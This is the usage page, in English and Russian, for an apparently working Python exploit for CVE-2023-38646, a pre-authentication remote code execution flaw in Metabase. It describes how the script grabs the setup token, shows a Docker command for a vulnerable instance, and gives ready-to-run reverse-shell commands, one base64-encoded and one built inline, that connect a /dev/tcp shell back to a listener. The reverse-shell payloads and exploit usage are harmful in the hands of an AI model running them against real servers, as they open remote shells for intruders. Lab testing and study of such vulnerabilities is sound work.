
Python script to exploit CVE-2023-38646 Metabase Pre-Auth RCE via SQL injection
Python-скрипт для эксплуатации CVE-2023-38646: удаленное выполнение кода до аутентификации в Metabase через SQL-инъекцию
Скрипт выполняет GET-запрос к /api/session/properties для получения токена установки и оценки возможности эксплуатации цели. Если цель уязвима, он выводит токен установки, иначе завершает работу с сообщением об ошибке.
Если используется опция -x и цель уязвима, скрипт попытается использовать предоставленную полезную нагрузку для эксплуатации уязвимости.
Подробнее в этой отличной статье от команды, обнаружившей уязвимость: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
При необходимости вы можете быстро развернуть тестовую среду в Docker-контейнере с помощью этой команды:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
После перехода по адресу http://127.0.0.1:3000/ для завершения настройки и запуска слушателя,
вы можете использовать для эксплуатации RCE, например, так:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
или просто возьмите свою собственную обратную оболочку, закодированную в base64, посетив revshells.com